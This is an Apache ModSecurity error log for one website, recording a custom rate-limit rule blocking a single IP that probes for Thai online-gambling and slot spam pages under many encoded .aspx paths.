[Wed Jan 28 13:08:11.647055 2026] [:error] [pid 33580:tid 33610] [client 194.247.173.99:39656] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%9A%E0%B8%B2%E0%B8%84%E0%B8%B2%E0%B8%A3%E0%B9%88%E0%B8%B2%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99.aspx"] [unique_id "aXmZu5lb0QJtwfka8l7-pgAAARc"]
[Wed Jan 28 13:08:13.859295 2026] [:error] [pid 33580:tid 33591] [client 194.247.173.99:39668] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%9A%E0%B8%B2%E0%B8%84%E0%B8%B2%E0%B8%A3%E0%B9%88%E0%B8%B2%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx"] [unique_id "aXmZvZlb0QJtwfka8l7-qQAAAQQ"]
[Wed Jan 28 13:08:15.942936 2026] [:error] [pid 33636:tid 33657] [client 194.247.173.99:39682] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%9A%E0%B8%B2%E0%B8%84%E0%B8%B2%E0%B8%A3%E0%B9%88%E0%B8%B2%E0%B8%AD%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A5%E0%B8%99%E0%B9%8C.aspx"] [unique_id "aXmZv9IVZAudQH0BSC7b-AAAAhM"]
[Wed Jan 28 13:08:18.159606 2026] [:error] [pid 33489:tid 33510] [client 194.247.173.99:39694] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%9A%E0%B8%B2%E0%B8%84%E0%B8%B2%E0%B8%A3%E0%B9%88%E0%B8%B2%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%9C%E0%B9%88%E0%B8%B2%E0%B8%99%E0%B9%80%E0%B8%AD%E0%B9%80%E0%B8%A2%E0%B9%88%E0%B8%99%E0%B8%95%E0%B9%8C.aspx"] [unique_id "aXmZwhZrVZwQUFWC7__0mAAAABE"]
[Wed Jan 28 13:08:20.438438 2026] [:error] [pid 33636:tid 33662] [client 194.247.173.99:43182] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%9A%E0%B8%B2%E0%B8%84%E0%B8%B2%E0%B8%A3%E0%B9%88%E0%B8%B2%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXmZxNIVZAudQH0BSC7b-wAAAhg"]
[Wed Jan 28 13:08:22.546355 2026] [:error] [pid 33491:tid 33553] [client 194.247.173.99:43184] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%9A%E0%B8%B2%E0%B8%84%E0%B8%B2%E0%B8%A3%E0%B9%88%E0%B8%B2.aspx"] [unique_id "aXmZxmP9UY0x3irkINCzLgAAAMI"]
[Wed Jan 28 13:08:24.750311 2026] [:error] [pid 42740:tid 42744] [client 194.247.173.99:43190] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%9A%E0%B8%B2%E0%B8%84%E0%B8%B2%E0%B8%A3%E0%B9%88%E0%B8%B21688.aspx"] [unique_id "aXmZyFnjAS34srJlXgQ6kgAAAII"]
[Wed Jan 28 13:08:26.947636 2026] [:error] [pid 33580:tid 33591] [client 194.247.173.99:43198] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%9C%E0%B8%A5%20%E0%B8%9A%E0%B8%AD%E0%B8%A5%20%E0%B8%A0%E0%B8%B2%E0%B8%A9%E0%B8%B2%20%E0%B9%84%E0%B8%97%E0%B8%A2%20thscore.aspx"] [unique_id "aXmZyplb0QJtwfka8l7-uwAAAQQ"]
[Wed Jan 28 13:08:29.229612 2026] [:error] [pid 33636:tid 33661] [client 194.247.173.99:52268] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%9C%E0%B8%A5%20%E0%B8%9A%E0%B8%AD%E0%B8%A5%20thscore%20vip.aspx"] [unique_id "aXmZzdIVZAudQH0BSC7cAgAAAhc"]
[Wed Jan 28 13:08:31.429804 2026] [:error] [pid 33580:tid 33602] [client 194.247.173.99:52272] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%9C%E0%B8%A5%20%E0%B8%9A%E0%B8%AD%E0%B8%A5%20vip.aspx"] [unique_id "aXmZz5lb0QJtwfka8l7-wQAAAQ8"]
[Wed Jan 28 13:08:33.755928 2026] [:error] [pid 42740:tid 42762] [client 194.247.173.99:52286] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%9C%E0%B8%A5%E0%B8%9A%E0%B8%AD%E0%B8%A5%E0%B8%AA%E0%B8%94%E0%B9%84%E0%B8%97%E0%B8%A2%20thscore.aspx"] [unique_id "aXmZ0VnjAS34srJlXgQ6ogAAAJQ"]
[Wed Jan 28 13:08:35.903357 2026] [:error] [pid 42740:tid 42744] [client 194.247.173.99:52296] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%9D%E0%B8%B2%E0%B8%81%201%20%E0%B8%9A%E0%B8%B2%E0%B8%97%20%E0%B8%A3%E0%B8%B1%E0%B8%9A%2050%20%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94%20%E0%B9%84%E0%B8%94%E0%B9%89%E0%B8%88%E0%B8%A3%E0%B8%B4%E0%B8%87.aspx"] [unique_id "aXmZ01njAS34srJlXgQ6pQAAAII"]
[Wed Jan 28 13:08:38.170642 2026] [:error] [pid 42740:tid 42746] [client 194.247.173.99:52300] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%9D%E0%B8%B2%E0%B8%81%201%20%E0%B8%A3%E0%B8%B1%E0%B8%9A%2020%20%E0%B8%97%E0%B8%B3%20100%20%E0%B8%96%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%94%E0%B9%89%2050.aspx"] [unique_id "aXmZ1lnjAS34srJlXgQ6qgAAAIQ"]
[Wed Jan 28 13:08:40.553964 2026] [:error] [pid 42740:tid 42750] [client 194.247.173.99:50614] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%9D%E0%B8%B2%E0%B8%81%2010%20%E0%B8%A3%E0%B8%B1%E0%B8%9A%20100%20%E0%B8%97%E0%B8%B3%E0%B8%A2%E0%B8%AD%E0%B8%94%20200%20%E0%B8%96%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%94%E0%B9%89%E0%B9%80%E0%B8%A5%E0%B8%A2.aspx"] [unique_id "aXmZ2FnjAS34srJlXgQ6rwAAAIg"]
[Wed Jan 28 13:08:42.778600 2026] [:error] [pid 2625:tid 2641] [client 194.247.173.99:50628] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100.aspx"] [unique_id "aXmZ2lZhY64HvuPd7w30EAAAAUo"]
[Wed Jan 28 13:08:45.100308 2026] [:error] [pid 33489:tid 33507] [client 194.247.173.99:50630] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%9D%E0%B8%B2%E0%B8%819%E0%B8%9A%E0%B8%B2%E0%B8%97%E0%B8%A3%E0%B8%B1%E0%B8%9A100%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXmZ3RZrVZwQUFWC7__01QAAAA4"]
[Wed Jan 28 13:08:47.427131 2026] [:error] [pid 2625:tid 2648] [client 194.247.173.99:50646] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%9E%E0%B8%99%E0%B8%B1%E0%B8%99%E0%B8%AD%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A5%E0%B8%99%E0%B9%8C.aspx"] [unique_id "aXmZ31ZhY64HvuPd7w30EgAAAVE"]
[Wed Jan 28 13:08:49.704804 2026] [:error] [pid 42740:tid 42764] [client 194.247.173.99:60286] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%9E%E0%B8%B5%E0%B8%88%E0%B8%B5%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXmZ4VnjAS34srJlXgQ6tgAAAJY"]
[Wed Jan 28 13:08:52.062087 2026] [:error] [pid 33636:tid 33648] [client 194.247.173.99:60296] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%9E%E0%B8%B5%E0%B8%88%E0%B8%B5.aspx"] [unique_id "aXmZ5NIVZAudQH0BSC7cEgAAAgo"]
[Wed Jan 28 13:08:54.409068 2026] [:error] [pid 42740:tid 42764] [client 194.247.173.99:60298] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%A2%E0%B8%B7%E0%B8%99%E0%B8%A2%E0%B8%B1%E0%B8%99%20%E0%B8%9A%E0%B8%B1%E0%B8%95%E0%B8%A3%E0%B8%9B%E0%B8%A3%E0%B8%B0%E0%B8%8A%E0%B8%B2%E0%B8%8A%E0%B8%99%20%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%20%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXmZ5lnjAS34srJlXgQ6wgAAAJY"]
[Wed Jan 28 13:08:56.637354 2026] [:error] [pid 33580:tid 33605] [client 194.247.173.99:60312] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXmZ6Jlb0QJtwfka8l7-7wAAARI"]
[Wed Jan 28 13:08:58.986338 2026] [:error] [pid 42740:tid 42763] [client 194.247.173.99:38458] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B9%80%E0%B8%95%E0%B8%B4%E0%B8%A1%20true%20wallet%20%E0%B8%9D%E0%B8%B2%E0%B8%81-%E0%B8%96%E0%B8%AD%E0%B8%99%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%20%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%20%E0%B8%95%E0%B9%88%E0%B9%8D%E0%B8%B2%202020.aspx"] [unique_id "aXmZ6lnjAS34srJlXgQ6xwAAAJU"]
[Wed Jan 28 13:09:00.999287 2026] [:error] [pid 2625:tid 2634] [client 194.247.173.99:38474] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%E0%B8%95%E0%B9%88%E0%B8%B3%201%20%E0%B8%9A%E0%B8%B2%E0%B8%97.aspx"] [unique_id "aXmZ7FZhY64HvuPd7w30JAAAAUM"]
[Wed Jan 28 13:09:49.941560 2026] [:error] [pid 2625:tid 2654] [client 194.247.173.99:38486] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%2088%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXmaHVZhY64HvuPd7w30awAAAVc"]
[Wed Jan 28 13:09:52.130170 2026] [:error] [pid 33580:tid 33601] [client 194.247.173.99:57124] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%2088.aspx"] [unique_id "aXmaIJlb0QJtwfka8l7_EAAAAQ4"]
[Wed Jan 28 13:09:54.534192 2026] [:error] [pid 33491:tid 33560] [client 194.247.173.99:57134] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20888%20%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%2050.aspx"] [unique_id "aXmaImP9UY0x3irkINCzlgAAAMk"]
[Wed Jan 28 13:09:56.724570 2026] [:error] [pid 2625:tid 2652] [client 194.247.173.99:57144] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B9%81%E0%B8%95%E0%B8%81%E0%B8%AB%E0%B8%99%E0%B8%B1%E0%B8%81%20%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%20%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%20%E0%B8%95%E0%B9%88%E0%B9%8D%E0%B8%B2.aspx"] [unique_id "aXmaJFZhY64HvuPd7w30ewAAAVU"]
[Wed Jan 28 13:09:59.115909 2026] [:error] [pid 42740:tid 42755] [client 194.247.173.99:53590] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B9%81%E0%B8%95%E0%B8%81%E0%B8%AB%E0%B8%99%E0%B8%B1%E0%B8%81%202024.aspx"] [unique_id "aXmaJ1njAS34srJlXgQ7CgAAAI0"]
[Wed Jan 28 13:10:01.378536 2026] [:error] [pid 2625:tid 2639] [client 194.247.173.99:53602] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%9C%E0%B9%88%E0%B8%B2%E0%B8%99%E0%B9%80%E0%B8%AD%E0%B9%80%E0%B8%A2%E0%B9%88%E0%B8%99%E0%B8%95%E0%B9%8C%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%E0%B8%95%E0%B9%88%E0%B9%8D%E0%B8%B2.aspx"] [unique_id "aXmaKVZhY64HvuPd7w30gQAAAUg"]
[Wed Jan 28 13:10:03.843022 2026] [:error] [pid 33490:tid 33530] [client 194.247.173.99:53616] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20100.aspx"] [unique_id "aXmaK2jexcy58gsBPJEXbwAAAEY"]
[Wed Jan 28 13:10:06.594624 2026] [:error] [pid 33489:tid 33502] [client 194.247.173.99:53630] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game%20slot.aspx"] [unique_id "aXmaLhZrVZwQUFWC7__1FgAAAAk"]
[Wed Jan 28 13:10:08.866244 2026] [:error] [pid 33491:tid 33564] [client 194.247.173.99:45694] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pxj.com%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%20188.aspx"] [unique_id "aXmaMGP9UY0x3irkINCznQAAAM0"]
[Wed Jan 28 13:10:11.578713 2026] [:error] [pid 33580:tid 33595] [client 194.247.173.99:45708] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aXmaM5lb0QJtwfka8l7_IwAAAQg"]
[Wed Jan 28 13:10:13.758738 2026] [:error] [pid 2625:tid 2645] [client 194.247.173.99:45716] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rocket%20878%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXmaNVZhY64HvuPd7w30jgAAAU4"]
[Wed Jan 28 13:10:16.078543 2026] [:error] [pid 2625:tid 2637] [client 194.247.173.99:45724] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet.aspx"] [unique_id "aXmaOFZhY64HvuPd7w30kAAAAUY"]
[Wed Jan 28 13:10:18.345156 2026] [:error] [pid 2625:tid 2632] [client 194.247.173.99:53864] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "aXmaOlZhY64HvuPd7w30kgAAAUE"]
[Wed Jan 28 13:10:20.603892 2026] [:error] [pid 42740:tid 42751] [client 194.247.173.99:53880] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aXmaPFnjAS34srJlXgQ7KAAAAIk"]
[Wed Jan 28 13:10:22.829684 2026] [:error] [pid 42740:tid 42756] [client 194.247.173.99:53882] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aXmaPlnjAS34srJlXgQ7LQAAAI4"]
[Wed Jan 28 13:10:25.218868 2026] [:error] [pid 42740:tid 42757] [client 194.247.173.99:53898] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aXmaQVnjAS34srJlXgQ7MAAAAI8"]
[Wed Jan 28 13:10:27.548429 2026] [:error] [pid 2625:tid 2632] [client 194.247.173.99:53914] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aXmaQ1ZhY64HvuPd7w30owAAAUE"]
